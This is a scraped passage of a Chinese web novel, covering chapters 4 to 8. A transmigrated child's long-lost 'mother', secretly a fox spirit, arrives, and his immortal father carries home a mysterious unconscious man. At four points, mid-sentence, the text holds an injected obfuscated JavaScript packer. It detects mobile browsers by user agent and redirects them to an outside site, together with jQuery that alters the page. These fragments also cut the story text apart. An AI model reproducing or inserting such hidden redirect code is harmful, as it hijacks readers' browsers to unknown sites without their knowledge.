“这个给你吃吧。”戚宝拿出一个油纸,里面包着他爹给他烤的兔肉,让他当零嘴吃的,不过戚宝吃不完,他只是个四岁的小孩也不用干活,食量不大。 二牛顿时不哭了,咧着个大嘴巴在那笑,道:“还是云戚你对我好,那我吃了。” 二牛打开香喷喷的兔前腿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730250|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边点评道:“兔肉还是肚子上那一块肉最好吃,很嫩,以前我娘还在的时候我吃过。” “什么味道这么香?好你个二牛,不好好干活,竟然在这偷吃东西?”二牛后娘骂骂咧咧的来了,一把抢走了他的兔腿。 二牛顿时炸毛道:“这是云戚给我的,不是偷的,你不许拿走。” “婶婶,这是给二牛的。”戚宝也站起来解释道。 王莲子睥睨着戚宝,高高的颧骨显得十分刻薄,讲出来的话也十分不善,道:“什么给二牛的,我还没说你爹从我家拿去那么多银钱,你还好意思来我家?” “那是云戚爹帮忙打猎的钱,本来就该给他的。”二牛不服气的说道。 王莲子一听这话,拧着二牛的耳朵,骂道:“你胳膊肘往外拐的家伙,咋不去给沈家当儿子了?在我家白吃白喝,养你有什么用?” “啊啊啊……”二牛吃痛的大叫着,脸上涨红。 戚宝顿时急了,赶紧冲上去掰着她的手让她撒手,一边喊道:“不许打小孩,你这是家暴,你连小孩子的吃的都抢,就不怕街坊邻居笑话吗?你作为后娘,竟然苛待家中孩子。” “呵呵。”王莲子才不管他说什么,撒完气就拿走了兔腿。 二牛耳朵被拧得通红,哭的一把眼泪一把鼻涕的,戚宝也十分憋闷。 他这难道不是智斗奇葩邻居的种田文吗?种田文里都是这么写的,只要主角哔哔几句对方就会无地自容。 怎么这个女的一点都不怕自己的道德绑架? 戚宝悟了,只要对方没有道德,就不怕道德绑架。 很快,屋子里传来王莲子母子两讨论吃兔腿的话语,扎在二牛的心里,让二牛更伤心了,抱着戚宝嗷嗷哭道:“咱爹真的不能带我回家吗?” “这个真不行。”戚宝麻木的应道。 戚宝想了想,对二牛道:“你先喂牛,我带你去我家吃好吃的。” “真哒?”二牛顿时不哭了,脸上带着期待,牛大的眼睛散发着熠熠的光彩。 戚宝:(;~ェ~)不是,哥们,你变脸有点快啊。 二牛:OvO 努力干活!早点吃饭! 二牛喂完牛的时候,天色还没有黑,他跟着戚宝一起离开了家中小院,两个人走在乡间的小路上,二牛脚步轻快,一蹦一跳的,戚宝每一步都走的稳稳的,看上去倒是比二牛沉稳很多。 远处炊烟缭缭,山林里升起了云雾,近处的田园水塘里是枯荷清水,十足的田园山水画,百看不厌。 “云戚啊!云戚!”陈秋成从远处跑来,边跑边喊,他跑步的姿势十分滑稽,脚边的衣裳太长了,一手提着衣摆,高一脚矮一脚的十分踉跄。 “秋生叔,你搞慢点。”戚宝不知道他什么事情这么着急。 陈秋生双手撑在膝盖上,气喘吁吁的,大口呼吸时候的声音像开水壶似的,戚宝见状拍了拍他,道:“秋生叔,你这体质不行啊,我听说考科举是要在考试间吃喝睡觉写卷子半月有余,你这残破的身子,怕是撑不过头七。” “你这孩子说的。”陈秋生缓过气来,长舒一口气道,“你说的倒是不错。” 戚宝又问:“你找我有什么事情?” 陈秋生一拍脑门,脸上露出激动兴奋的神色,比他中举还开心了:“云戚,你娘找来了!你找到亲娘了!你有娘亲了!” “真的吗?”戚宝追问道。 “真的真的,你娘在你家门口等着。”陈秋生说道。 5. 第 5 章 从陈秋生的口述中得知,戚宝他娘是个十分貌美的女子,温柔婉约,言谈举止尽是大家闺秀的气度。 再有更多的问题,陈秋生也无法回答了,他只是看到那人,随意询问了几句便来通知戚宝这个好消息,让他回家去看看。 戚宝听着听着,娘亲在他心中也差不多有了个形象,他脚步加快,恨不得长上翅膀飞回家中。 小草屋很快就出现在视线中,戚宝心中澎湃的热血却渐渐冷却下来,他思索着,万一这个人找错了怎么办?该如何证明她就是自己的娘亲了? 若是这个人也是知晓他家有银子了,图他爹的钱财来的,可怎么办? 万一…… 戚宝还没有想到下一个问题,便听到二牛无比激动的拉扯着戚宝的衣服,道:“云戚云戚,快看,那就是你娘吧,好像仙女下凡啊!” 戚宝抬头看去,远远的看到一袭白衣泼墨般黑发的女子,站在昏黄的暮色中,站在土黄的小道上,远山荷塘尽成背景,唯有她出尘艳艳。 戚宝来村里这么久,还没有见过这么白的衣服。 他的视力也很好,看到了她的脸,是十足的浓颜系大美人,她似乎发现戚宝回家了,回头看他,脸上染上温柔的笑。 这一瞬,戚宝仿佛看到花开。 哦,不是,那是他的心花开了。 她肯定是我娘!她就是我娘! 戚宝脑子塞满了快乐,甚至都不会思考了,幸福充斥着整个心脏。 他小跑了起来,将之前要考验一下这个娘亲的念头抛在脑后,喊道:“娘——” “云戚。”女人蹲下身,戚宝小小的身子飞似的闯进她的怀里,被她抱了个满怀。 娘身上好香啊。 戚宝脑袋在她肩膀上蹭了蹭,幸福的小脸通红,一边道:“娘,你这些年都去哪里了?” “我一直在找你们。”柳音温柔轻抚着戚宝的发顶,声音十分悦耳动人。 戚宝晕飘飘的,牵着柳音的手,推开了小院子的门,拉着她进了自家的小草房子,生怕仙女般的娘亲嫌弃,立即解释道:“别看我们家现在小,但是爹很厉害的,攒了很多银子,到时候去城里给娘买大房子。” “爹现在不在家,去山上打猎了,去的西山,晚上应该就会回来。”戚宝跟娘亲热情的介绍着,“爹看到你肯定会特别开心,不过娘亲,我要先跟你打个预防针,爹他因为受伤失去了记忆,所以这些年才没有去找你,而且他见到你可能会不认识你,你别难过,以后我们一家三口就能一直在一起了。” 戚宝回头看着柳音,柳音正在愣神,目光死死的定着挂在墙上的新鲜红棕色兔皮。 戚宝以为她喜欢,又道:“这是在门上撞死的兔子,我待会给娘做烤兔子吃,等兔皮晾干了,让爹给你做兔毛手套,免得冬日冻伤了手。” “撞死?”柳音脸上的表情有些怪异,似有难以置信,也有伤心,不过她很快就收敛了神色,换了个话题,问戚宝,“你说,你爹……失忆了?” 戚宝拉着她娘的手,拍了拍:“你放心,爹肯定会想起你的,只要你多跟爹说说过去的事情。” “好啊。”柳音露出笑容,原本的想法已经打消了,她心中生出了更好的办法。 戚宝发现柳音目光总是看那张兔子皮,便道:“娘,你想吃兔子吗?我给你做,二牛也要吃。”又转头对着满脸堆笑的陈秋生道,“秋生叔,你要不也留下吃饭吧,我给你们做麻辣兔丁。” “好啊好啊。”陈秋生喜滋滋的说道。 二牛也十分欢喜,要帮忙烧锅灶。 柳音笑容僵了一下,赶紧道:“云戚你还是个宝宝,烧饭的事情还是娘来吧。让你也尝尝娘的手艺。” “可是,娘,你的衣服会弄脏的。”戚宝拉着柳音的白裙子,这么漂亮的仙女,衣服脏了可怎么办? 柳音愣了一下,笑道:“没事,娘亲就想对云戚好。” “好~~”戚宝眼睛亮晶晶的,好像里面有小星星。 这肯定是自己娘亲,跟爹一样,都不让他干一点活。 戚宝跟在柳音身后寸步不离,柳音有些为难的说道:“云戚,你去外头跟二牛一起玩,娘做饭,注意不到你。” “可是,我就想跟娘待在一起。”戚宝可怜巴巴的说道。 柳音看着眼前的小孩,心里幽幽叹息一声,真是个漂亮的小孩,长得粉雕玉琢的,比那些生来就是仙姿玉体的小仙童还好看几分,身体里也蕴含着无尽的灵气,这是上好大补的血肉,所以青儿和红儿十分垂涎。 正是因为垂涎他,所以一死一伤。 柳音不馋戚宝的血肉,她的目标是他的爹。 他是哪里来的仙人?不过这都不重要,她只知道这是个有大功德的仙人,她要靠着这个仙人,飞升得道,然后……为夫君报仇。 柳音眯了眯眼睛,脸上的笑意越发温柔,她会好好当云戚的娘亲的:“以后云戚可以天天跟娘亲在一起。” 云戚一听这话,心中暖暖的,于是就开开心心的跑出去跟二牛聊天了。 柳音看着红儿那摊肉,目光不由黯然,她默默念了一段超度的心经,红儿不甘心的魂魄跑了出来,吼道:“姐姐,帮我报仇!!” “红儿,安心去投胎吧。”柳音无奈叹息。 “我不甘心,我不甘心,我诅咒,吃我血肉者,必定七窍流血而亡!死无全尸!”红儿恶毒的诅咒着。 柳音拿出法器,将红儿的灵魂收入其中,将它的血肉也收了起来,低声道:“姐姐不忍让你死后被人分食。” 柳音做完这些,听着外面的聊天声音,趁着大家不注意,消失在了厨房,很快,她手上提着一只新抓的野兔子,开始收拾做菜。 柳音给大家展示了一番厨艺,红烧兔,莲藕排骨汤,田园时蔬。 大米饭在铁锅里烧出了锅巴,香气四溢,二牛馋的口水直流,陈秋生也咽了咽口水,不过到底比二牛要体面些。 “对了,嫂子,我想问你,你家住何处啊?是一个人来荷花村的吗?”陈秋生找了个话题。 柳音给大家放好碗筷,道:“中原人士,家中已无亲人。” “娘,以后我跟爹就是你的亲人。”戚宝心疼的拉住柳音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730251|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手。 柳音笑着道:“是啊,终于找到你们了。” “婶婶,我……我们可以吃饭了吗?”二牛嘴上馋,肚子也在打鼓。 柳音道:“等云戚爹回来。” 二牛道了句好吧,于是几个人便坐在屋子里聊天,一边等着沈不忘回来。 屋里烧着火炉,暖洋洋的,灶炉里的炭火一直温着饭菜。 戚宝坐在小马扎上,双手趴在柳音的膝盖上,小脑袋枕在胳膊上,歪着头看柳音,问道:“娘,你可以再跟我说一遍,爹当年英雄救美,你们在一起的故事吗?” 简直就像小说一般精彩。 柳音看着戚宝期待满满的眼神,又说了一遍那个故事,一半真一半假。 这个故事真的发生了,只是故事的男主不是沈不忘,故事发生的地点在妖界不是人间。 戚宝她娘本来是大家族的么女,家族为了联姻,要将她给一个特别坏的封王当第十七任夫人,她知道自己去了那里就会被折磨至死,于是结婚前夕逃跑了。 封王的势力很大,也很爱面子,被柳音逃婚,觉得被羞辱了,于是出兵灭了她的家族,并且派出了军队追杀她。 柳音被逼到了悬崖边,身受重伤,以为自己死定了。 那时候一个男人从天而降,打退了几千魔兵。 柳音昏迷过去之前,从剑刃的寒光中,看到了一只摇晃的白色狐狸尾巴,纯白无瑕,美的不像话。 等她醒来,却找不到自己的恩人了,之后她找了他好多年。 “后来你就跟爹在一起了对吗?”戚宝还想再听一遍。 柳音从恍惚中回过神来,戚宝还问:“那后来你们是怎么分开的?爹跟你在一起的时候对你好吗?他有说过自己是哪里的人吗?以前是干什么的?” “你爹对我很好,他也是世家大族的,不过没有带我回去过。”柳音笑着说道。 戚宝眼睛闪闪的,他就知道!他爹的画风都跟人不一样。 二牛困得要死,一边打着哈欠一边问道:“云戚,你爹怎么还不回来?我要饿死了。” 戚宝起身看了一眼外面的天色,漆黑的夜空中开始飘起了雪,寒风顺着门吹进来,他不由抖了抖。 陈秋生见天色已晚,不适合继续待在这里,便道:“嫂子,我就先行告辞,等沈大哥回来,再登门造访。” “爹可能得后半夜才回来,我们先吃吧。”戚宝说道。 二牛顿时来了点精神,但不多。 四个人围坐在桌前,屋外的风雪逐渐变大,呼呼的风声十分猖狂,不一会儿大雪便铺满了地,大地白茫茫的一片,黑夜似乎都被这通天的雪白给驱逐了。 陈秋生给二牛夹了个兔腿,道:“二牛吃兔腿。” “好大的雪啊。”胡大勇粗犷的声音在外面响起,接着便是狩猎队吵吵嚷嚷的声音。 “还好赶在大雪封山前回来了。” 戚宝兴奋对柳音道:“娘,我爹打猎回来了。” 柳音身形一顿,随即又调试好了情绪,没了紧张的情绪,她对自己的魅惑之法是有信心的。 6. 第 6 章 狩猎队的人兴奋无比,这次收获可老大了,四个人轮流抬着膘肥体壮的大虫,害了数条人命的黄皮大老虎,此时已经死的不能再死了。 大家将老虎抬到村中心的广场,全村人都被惊动,来凑热闹,热情丝毫没有被漫天的大雪打消。 戚宝走在人群中,一个人一个人看过去,脸上的笑容慢慢消失,拉着柳音的手也散了。 他爹竟然不在人群中,任凭他把大家看了一遍又一遍,都没有找到他爹。 戚宝冲到胡大勇的面前,问道:“大勇叔,我爹了?我爹怎么没有回来?” 胡大勇回头看了一眼,道:“你爹不就在……咦,老沈刚刚不是跟在我们身后的吗?人了?” “不知道啊,沈叔之前跟在队伍的末尾,你见过沈叔吗?”二牛他哥回道。 狩猎队几人你看看我,我看看你,议论了半响,也不知道沈不忘是什么时候掉队的,亦不知道他去了哪里。 戚宝急了,道:“你们怎么把我爹弄丢了?我爹一个人在外面遇到危险了可怎么办?” “云戚啊,你别担心,你爹……你爹每次都是自己去打猎的,厉害着了,什么猛兽都不是他的对手,这次大虫也都多亏了你爹才能猎到。”胡大勇赶紧蹲下身,跟戚宝平齐,解释道,“你爹可能看到更好的猎物了,想要打来给你个惊喜。” “对对,说不定你爹知道你娘要回来了,打算给你娘准备个礼物。”二牛也安慰戚宝道,“你别担心,你爹很厉害的。” 安慰的话说着,戚宝却一点都不放心,这时,旁边有人说了句风凉话:“大雪封山,还能回来吗?说不定冻死在外面了?” 戚宝顿时小脸铁青,是啊,这么大的雪,大雪封山的话,十天半个月出不来,那他爹在外头可怎么办? 戚宝越想越不对劲,胡大勇赶紧道:“不会的,西山那边有猎人的屋子,你爹兴许看到下大雪了,赶夜路不安全,明日肯定回来,你爹心里记挂着你。” “对,我爹肯定不会抛下我的。”戚宝失魂落魄的点点头,他娘回来的喜悦也全都一扫而空。 “戚宝,你别担心,你爹很厉害的,肯定不会有事的。”柳音也安慰着,心里却隐约觉得这场雪来得突然,事出反常必有妖。 柳音私心里觉得沈不忘定不会出意外,毕竟他是仙人,绝不可能被困于风雪中。 不回来的原因,只怕是在山里遇上了什么邪魔妖怪。 西山山脉很神秘,上古时期就存在了,按理说这样的山脉肯定会有很多吸收日月精华成精之物,很多年前确实如此。 不过在最近几十年,那边的妖怪精灵全都逃窜一空。 青儿受伤了便去了那边养伤,也不会被别的妖怪欺负。 柳音想到青儿,心道不好,只怕沈不忘是冲着青儿去的,她已经失了一个妹妹,可不能连青儿也没了。 “若是你不放心,娘去西山找你爹。”柳音赶紧说道。 戚宝立即拽住她的手,不让她去。 事到如今只能等着。 戚宝不是那种冲动的人,毕竟他灵魂里已经17岁的大人了,像这种大雪天往深山里跑是最蠢的,而且大家说的没错,他爹这么厉害,肯定会逢凶化吉的。 他爹肯定是世界的主角,不会被这种小小的困难打败!! 戚宝回去依旧不安,被柳音哄睡了之后,忽然想到了什么,瞪大了眼睛。 该不会他才是主角,是那种死爹流的,不要啊!! 戚宝思来想去,彻底睡不着了,瞪着眼睛坐在桌前看着灯,柳音见他不睡觉,自己也没有机会跑出去,问道:“云戚,怎么了?” “我……我睡不着,我要坐在这等我爹回来。”戚宝坐起身来,毫无睡意。 柳音:…… “那娘陪你一起等。”柳音道。 戚宝瞥了她一眼,点点头,没有开口,看着窗外的大雪,期待能下的小一点,这样就不会挡住回来的路,爹的危险就小一分。 此时深山里,西山有一处天坑,外头已经是白茫茫的一片,此处却生机勃勃,鸟语花香的,丝毫不为外界的季节更替所影响。 沈不忘便是追那绿色的女妖到了这里,随后她便逃窜走了,不见踪影。 沈不忘踏入天坑的时候,四周的空气都为止一颤,脚边踩碎了什么,只听“咔嚓”一声,眼前鸟语花香的美景消散一空。 “是幻境?”沈不忘自然而然的说出这句,他不记得过去,很奇怪的遇上了事情,又能说出个所以然来,好似生而知之。 若是身边有个修行者,必定能帮沈不忘探讨一二,偏偏在荷花村,没有任何修士前来,甚至连妖魔精怪都没有,也就这几日来了几个。 踏碎了幻境的阵眼,才发现这里与外面的树林没什么区别,一片雪花落了下来,接着便是无数的雪花,沈不忘感受到了脸上的冰凉,抬眼看了下天色,才发现天色已经这般晚了。 “再不回去云戚该担心了。”沈不忘自言自语道,收起了命剑,辨认着方向朝着荷花村的方向走去。 雪已经铺满了路,他稳健的步伐踩在雪地里,脚印很快又被白雪覆盖。 路边躺着一个衣衫褴褛红衣的男人,衣摆被烧成了焦黑色,露出的小腿落在雪中也不知冷否,墨色的头发铺成在雪地上,看上去有些诡异的美感。 沈不忘:…… 无视他,径直离开。 又走了半个时辰,红衣的男人又出现在路上,还是之前躺着的姿势,只是身上被覆盖了薄薄的一层雪,身上还冒着热气,融化了白雪。 沈不忘皱眉,怎么又走回来了? 他继续无视他,同时拿出了指南针,这是戚宝给他做的,以免他在山上迷路。 躺在地上的男人手动了一下,沈不忘下意识的往旁边挪了一点,脚踝便被他抓住了,紧紧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730252|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不撒手。 “松手。”沈不忘拧眉,声线冷酷。 男人不松手,死死的抓住他的脚踝,就算神智陷入昏迷中,力气依旧很大。 沈不忘揉了揉眉心,本来迷路了就烦。 他一脚把男人踹开,男人顺着雪地滚了下去。 沈不忘的指南针也失效了,山里的磁场混乱,此时的针正到处乱飞。 没办法了,只能凭借着经验寻路了。 不过这诡异的山林似乎就是跟他作对,他又走了半个时辰。 沈不忘再一次看到了被自己踹走的男人,此时他趴在地上,奄奄一息,也不知是死是活。 沈不忘犹豫了片刻,朝着他走去,等到他身边时。 红衣男人依旧无意识的抓住了他的脚踝,这一次他低沉虚弱的声音道:“带我出去。” “……” 沈不忘蹲下身去掰开他修长的手指,因为太用力,他的关节都泛白了,沈不忘瞥了一眼他的脸,心中没由来的生出一股不耐烦的情绪。 沈不忘不想理会他,起身就走,可走了一些距离后,又回头。 他将地上的人扶起来,扛在了肩头,这人很高大很重,跟他以前扛的野猪没什么区别。 他想,若是扛着他还走不出去,就把丢到山崖下去。 这一次,他扛着捡回来的野人,没有再转回原地,走出了西山。 出了山便是一望无际的田野,冬日的油菜绿油油的,身后的群山隐进了白雪和迷雾中。 大雪停了,天边泛出鱼肚白,破晓的阳光从东边照亮。 沈不忘扯了扯唇角,似笑非笑,便扛着这人一步一步的朝着荷花村走去。 出了山,原本想要将这人丢掉的,不过他思忖了一下,万一他家人找来了。 可能还会感激云戚,给他们一些银子。 自从云戚明确提出要赚钱的要求后,沈不忘便成了个勤俭持家努力赚钱的好爹爹。 他扛着人大步往家里走去,披着晨光,进院子的时候他惯例降低了声音,这个时间孩子肯定还在睡觉。 他一开院子门,里屋的大门便打开了,戚宝眼睛红红的,冲了出来,道:“爹,是爹!爹,你终于回来了!我还以为你……” 戚宝冲出门,声音戛然而止,他看到他爹扛着一个红衣的…… 戚宝脚步也变慢了,小步的走到他身边,犹豫着问道:“爹,你打猎回来了一头……人吗?” 沈不忘应了声“嗯”,便把人丢在院子的地上,这是他平时对待猎物的态度。 戚宝看着直抽气,赶紧拉着他爹的手道:“爹,你救了人,那就把他放到屋子里去吧,救人救到底,不然在这会冻死的。” “好。”沈不忘又将猎到的人扶起来,搬到屋子里的床上去。 戚宝抬头看了一眼那个人,看清了长相,顿时吸了一口气。 好帅一男的! 7. 第 7 章 此人身形十分高大,戚宝看着他爹将人搀扶起来,估摸着比他爹高出半个头。 他五官轮廓十分深邃,闭着眼睛的时候也可以看见他很深的眼窝和长长的睫毛,简直跟现代那些制作很精致的娃娃一般,墨色的长发随意的垂落,发量又多又厚。 他身上的衣服被烧的焦黑,也可以看出衣服原本的颜色是红的,没有穿鞋,小腿都露在外面,肤色是健康的蜜色。 戚宝有些怪异的想着,这个人长得跟村里朴实无华的村民不一样,一看就不是普通人。 他亦步亦趋的跟着两人进了房间,他人小,原本这房间看上去挺大的,此时进来了两个成年男子,倒是显得屋子逼仄起来。 沈不忘将人安置在床上,好在院子里雪很厚,所以他被丢在地上,也没有弄脏。 沈不忘拨掉头上的雪,转头便看到戚宝若有所思的站在不远处,一脸深沉的模样不知道在想什么。 “今天怎么起来这么早?”沈不忘关心道。 戚宝不想说自己一夜没睡,只道:“因为想爹,所以早早就起来了。” 沈不忘盯着他眼下的青黑看了两眼,正要说什么,屋外便响起了温柔的女声:“云戚,糖鸡蛋烧好了,来吃点东西再等你爹。” 循声看去,柳音正好端着饭碗进来,碗里冒着腾腾的热气,她给戚宝做了糖鸡蛋。 沈不忘的目光十分具有威慑力,冷冷的,没有丝毫情绪,宛若能看清人心底最深处的隐秘。 柳音立即脸上挂着笑容,盯着他那茶金色的眸子,声音越发温柔:“是沈大哥吗?这么多年不见,你还好吗?” “你是谁?”沈不忘声音依旧冰冷。 柳音顿时心里一慌,下意识的看向戚宝。 戚宝熬夜了一晚上,脑子却不昏,拉着他爹的手解释道:“她说她是我娘。” 这话说的有些微妙,柳音更加不安了,昨夜她分明已经搞定小家伙了,他也认定自己就是他娘亲,现在怎么好像失控了? “是的,沈大哥,你忘了吗?当年是你救了我,然后我们在一起了。”柳音勉强扯了扯嘴角,笑道,“我是云戚的娘,我……我终于找到你了。” 戚宝觉得她有些紧张,过去接过她手上的鸡蛋,端到沈不忘面前,道:“爹,你吃点热的暖暖身子,我们待会再说吧。” 沈不忘怪异的看了一眼柳音,应了声好。 柳音在一旁不安的捏着手,看着沈不忘喝了一口热汤,又道:“云戚,娘亲也给你做一份吧,你一晚上没睡。” “怎么不睡觉?”沈不忘问。 戚宝有些委屈的说道:“我怕爹不回来了,我害怕。” “不会的,爹永远都会回到你身边。”沈不忘伸手摸了摸戚宝的脸颊,满脸爱怜。 戚宝点头,扑到沈不忘的怀里,道:“我好怕你不会回来,以为我要成为孤儿了,爹,我不想当孤儿。” 当孤儿很累的,前世他就是孤儿,一个人生活,一个人长大,如果从来没有遇到过他爹,他可能就认命了,可是他不想被给予,又失去。 沈不忘拍了拍他的背脊,一勺一勺喂他吃了糖煮鸡蛋,吃完又用热水给他漱口,之后戚宝便在他怀里睡着了,像是襁褓里的小婴儿一样抱着他。 沈不忘垂眸看怀里熟睡的戚宝,笑了笑,睡得像个小猪一样,还是跟小时候一样粘人。 一眨眼,他就已经长这么大了,时间过得可真快,过年后,他就五岁了。 床上的男人于混沌中睁开眼,他此时有些恍惚,不知今夕何夕,不知深处何地,隐隐约约似听见了一道熟悉的声音。 他似乎又看见幻觉了,怎么看到沈君钦了?他还笑的那么温柔。 突破封印耗费他太多的能量,他知晓此时周围没有危险,便再一次陷入昏睡中。 至于那沈君钦欺他骗他,将他封印,他必定有怨报怨,有仇报仇! 沈不忘抱着戚宝,见他睡熟了,准备把他放到床上去,一起身就看到床上躺着自己扛回来的野男人,顿时垮起了脸。 真该把他丢出去的,现在儿子没有地方睡了。 他思索了一番,扯过被子将戚宝卷了起来,裹得密不透风,至于那个男人,在冰天雪地里都冻不死,还冒烟,不盖被子应该也不会如何。 沈不忘平日里虽然冷漠,但也不是会看着别人死而置之不理的人,今天扛回来的这个野男人,他甚至连看他一眼都觉得不舒服。 他很少对一个人有这么强烈的情绪。 他想,或许也可以写个告示,张贴到城里去,看看他有没有亲人将他领走。 一两银子的报酬。 这真是个好主意。 沈不忘找来陈秋生,依着戚宝之前写的内容,也要写个寻亲的告示。 陈秋生听着告示的内容,又看了看床上昏迷的男人,愣了好久,最后不确定的问道:“沈兄……你你确定要用一两银子把他卖了?” “不是卖,是让他家人把他领走,给我一两银子的酬劳。”沈不忘好看的眉头拧起来。 陈秋生听到这话,哑口无言,又愣了好久,看了一眼床上的男人,道:“如果没有人领走他怎么办?” “那就按照你的建议把他卖了。”沈不忘淡漠的说道,随后又补了句,“十两银子。” 陈秋生连忙摆手,畏畏缩缩解释道:“我可没有建议你卖掉,你别乱说,买卖人口是要被抓起来的。” “那我总不能养着他吧,还要花云戚的银子。”沈不忘语气中明显带上了不满,,言下之意他赚的钱只能给儿子花,别人休想花一分一毫。 他还是第一次这么明确的表达自己的不悦,以往若是有不顺意的事情,只是冷冷的看着别人,他也很少有不顺意的时刻。 陈秋生终于不再废话了,开始给他写告示,心中只能默默祈祷会有人把人接回去,不然真的被卖了肯定没有好下场。 沈大哥真是好运气,随便在路边便能捡到这般……这般气度不凡的人。 这人必定不是什么普通人,陈秋生在心中妄自猜测了一番。 陈秋生斟酌着用词,将告示写好,交给沈不忘过目,确认无误后便离开了。 这一场雪来的也快,化的也快,不过午时便已经全都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730253|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消融,泥巴路上变得泥泞不堪。 沈不忘也没有着急去镇上张贴告示,而是考虑家里突然多了两个人该如何住下去。 他家房子不大,就一间房子,旁边本来还有个养殖棚子,被他改造成了厨房和杂物间,外加一个小院子,茅房跟邻居家共用。 沈不忘的邻居便是陈秋生,他家宅子倒是挺大的,两家房子建在一起,活脱脱像是个危房挂在陈家的房子上,全靠陈家的高墙支撑着沈家的草屋。 “沈大哥,你累了一宿了,要不也休息一下?”柳音小心翼翼的询问。 沈不忘瞥了一眼柳音,没有开口。 柳音局促道:“五年未见,沈大哥可还记得我?” “不记得。”沈不忘淡漠的回道。 他也没有要叙旧的意思,更没有兴趣问她过去的事。 他对眼前的女人毫无兴趣。 沈不忘去到院子里,将杂物间的一堆东西收拾出来,挑了几个长木头,拿出木工的工具,在院子里敲敲打打,开始做单人床铺。 柳音跟在旁边,问道:“沈大哥,你在做什么?” “给你做个床,晚上你就睡灶屋。”沈不忘回答道。 柳音怔了怔,原想说自己每日回镇上就行了,但是脑子一转,便反应过来了,他这是允许自己留下来了,还给自己做了个床。 她顿时眉眼染上了笑意,道:“好哎,沈大哥,我去给你做饭,你要吃什么?” “随意。”沈不忘应道。 柳音进了厨房,一身雪白的衣服,沈不忘抬头看她一眼,裙摆下摇摇晃晃的三只狐狸尾巴,十分开心的竖了起来。 三百年道行的红狐。 是人还是妖,这不在沈不忘的考虑范围内,只要崽崽喜欢她,就能留下来当崽崽的娘亲。 戚宝睡到了中午便被沈不忘叫醒吃午饭,吃完还有些困,沈不忘却不让他睡觉,怕他白日睡多了,夜里睡不着,小孩子熬夜会长不高的。 戚宝抱着饭碗,吃着柳音做的莲藕排骨汤,一边问道:“不让那个昏着的人起来吃饭吗?” “不用管他。”沈不忘道。 他本就不想养着那人,若是还吃他们家的粮食,岂不是得不偿失。 告示上可是写着只需要一两银子感谢费,沈不忘不自觉的便在心里计较得失,无论如何,都不可以亏本。 这是这么多年来,他第一次产生了自己吃亏的念头。 就算荷花村里所有人都让他干活,都白拿他猎物,去镇上卖九百年道行的狐狸皮草只给十两银子……他从来没有过任何情绪波动,也未曾有自己被占便宜的想法。 这个人却成功让他产生了负面情绪,他并不知道这意味着什么。 戚宝倒是对那个人挺感兴趣的,吃完饭便去床边盯着看着,这个人就躺在床上,跟古朴的房间显得十分格格不入,他一动不动的躺着,胸口也不怎么起伏。 这人该不会死了吧? 戚宝伸手放在他人中的地方,试探了一下鼻息,确实有浅浅的呼吸。 “也不知道什么时候能醒来?”戚宝喃喃自语道。 8. 第 8 章 捡来的野男人虽然好看,但是长久躺着没有任何反应,戚宝便也没有兴趣。 “乖崽,出来晒晒太阳。”沈不忘在外面喊他。 戚宝立即应好,出了门发现他爹还在制造床铺。 戚宝眼睛一亮,笑问道:“爹,你在给那个昏迷的人做床吗?” “不是,给你娘做。”沈不忘回道。 戚宝愣了一下,心想,那个漂亮如仙子般的人确实是自己娘亲。 他顿时面露喜色,又问:“那晚上那个昏迷的人还要睡在我们床上吗?” 他们屋子的床不大,他爹带着他睡正好,但若是再睡下一个人高马大的男人,肯定是不行的。 戚宝已经在思考,他晚上是不是得横着睡在床头,他不会被踹下去把。 沈不忘给了他答复:“让他睡地上。” “那他会不会死啊?”戚宝皱着眉头担心的问道。 沈不忘放下手中的工具,沉思片刻,道:“那我们将告示贴出去,让他家人把他接走吧。” 戚宝:??? 不是,爹,你什么时候写的告示? 戚宝看他爹拿来了那张宣纸,上面的字迹是陈秋生的,展开来看,戚宝单手托着下巴,上上下下的看了一番。 沈不忘念了一下上面的字,道:“你看是否有遗漏。” 